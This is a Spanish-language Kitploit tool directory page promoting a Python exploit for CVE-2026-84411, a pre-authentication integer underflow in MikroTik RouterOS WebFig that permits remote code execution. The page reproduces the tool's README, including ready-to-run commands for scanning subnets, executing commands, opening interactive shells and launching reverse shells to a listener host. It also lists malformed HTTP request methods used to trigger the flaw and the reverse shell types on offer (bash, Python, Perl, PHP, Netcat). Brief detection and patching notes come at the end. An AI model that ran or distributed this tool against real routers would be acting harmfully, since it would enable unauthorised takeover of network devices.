Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-84411 — Exploit en Python para CVE-2026-84411, un desbordamiento negativo de enteros previo a la autenticación en MikroTik RouterOS WebFig que permite RCE, con escaneo, ejecución de comandos y shells inversas. | Kitploit
Herramientas/GitHubGitHub/maxprog-svg/cve-2026-84411
Seguridad de Sistemas EmbebidosReconocimientoEscáneres de VulnerabilidadesSeguridad IoTExplotaciónExplotación de Aplicaciones WebSeguridad de RedesPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubmaxprog-svg/cve-2026-84411

CVE-2026-84411

16hace 27 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit en Python para CVE-2026-84411, un desbordamiento negativo de enteros previo a la autenticación en MikroTik RouterOS WebFig que permite RCE, con escaneo, ejecución de comandos y shells inversas.

Ver Repositorio

CVE-2026-84411 — Explotación de desbordamiento negativo de enteros en WebFig de MikroTik RouterOS

Descripción general

CVE-2026-84411 es una vulnerabilidad crítica de ejecución remota de código (RCE) previa a la autenticación en MikroTik RouterOS.

CampoValor
CVSS v39.8 (Crítica)
CWECWE-191: Desbordamiento negativo de entero
Vector de ataqueRed
AutenticaciónNinguna (previa a la autenticación)
ImpactoRCE completa como root / DoS
AfectadosRouterOS < 7.24
CorregidoRouterOS 7.24+

Cómo funciona

El servicio de gestión web (WebFig, escuchando en TCP/80 y TCP/443) contiene un desbordamiento negativo de entero en el manejo del cuerpo de las solicitudes HTTP. Una única solicitud HTTP especialmente diseñada —enviada sin iniciar sesión— puede provocar la caída del servicio o permitir la ejecución de código arbitrario con privilegios completos.

El desbordamiento negativo se produce cuando el analizador calcula la longitud del cuerpo con una validación insuficiente, lo que permite que el valor se envuelva por debajo de cero y desborde negativamente hacia un entero sin signo muy grande. Las operaciones de memoria que confían en esta longitud corrupta (copias, asignaciones, comprobaciones de límites) se comportan entonces de forma catastrófica.

Inicio rápido

# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1

# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check

# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"

# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive

# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444

# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt

# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24

# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells

Uso

usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
                         [--check] [--shell LHOST LPORT] [--cmd COMMAND]
                         [--interactive] [--list-shells]
                         [--lhost LHOST] [--lport LPORT] [-v]
                         [--timeout TIMEOUT] [--no-color]

CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit

options:
  -h, --help            show this help message
  -t, --target TARGET   Target URL or host (e.g., http://192.168.88.1)
  -i, --input INPUT_FILE
                        File with targets (one per line)
  --range CIDR          IP range to scan (CIDR notation)
  --check               Run full exploit check
  --shell LHOST LPORT   Spawn reverse shell
  --cmd COMMAND         Execute single command
  --interactive         Interactive shell session
  --list-shells         List available reverse shell types
  --lhost LHOST         Listener host for reverse shell
  --lport LPORT         Listener port for reverse shell
  -v, --verbose         Verbose output
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  --no-color            Disable ANSI colours

Métodos de explotación

La herramienta utiliza cuatro métodos de detección:

  1. Desbordamiento negativo de Content-Length — Envía una solicitud POST con un Content-Length mucho mayor que el tamaño real del cuerpo
  2. Codificación de transferencia por fragmentos — Envía tamaños de fragmento extremos (UINT32_MAX, UINT16_MAX)
  3. Content-Length negativo — Envía valores negativos de Content-Length para provocar un desbordamiento negativo
  4. Cuerpo grande — Envía cuerpos muy grandes con un Content-Length coincidente

Tipos de reverse shell

TipoComando
bashReverse shell estándar de bash
pythonReverse shell de Python 2
python3Reverse shell de Python 3
perlReverse shell de Perl
phpReverse shell de PHP
ncReverse shell de Netcat

Formato de archivo para escaneo por lotes

targets.txt — un objetivo por línea:

http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com

Detección y respuesta

Telemetría de red

La señal de mayor fidelidad es cualquier conexión a los puertos de gestión web de RouterOS (TCP/80, TCP/443) desde un origen que no sea un host de gestión conocido.

Reglas Sigma

Consulta la publicación del blog de Security Arsenal para las reglas Sigma: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide

Mitigación

Actualiza a RouterOS 7.24 o posterior.

Referencias

  • Aviso de MikroTik
  • Aviso de CISA ICSA-26-272-06
  • NVD CVE-2026-84411
  • Análisis de SentinelOne
  • PoC en Go

Licencia

Solo para pruebas de seguridad autorizadas.

Autor

Port a Python basado en el PoC en Go de Gagaltotal666 / GhostGTR666.

https://satoshidisk.com/pay/CSaodb

Descargar herramienta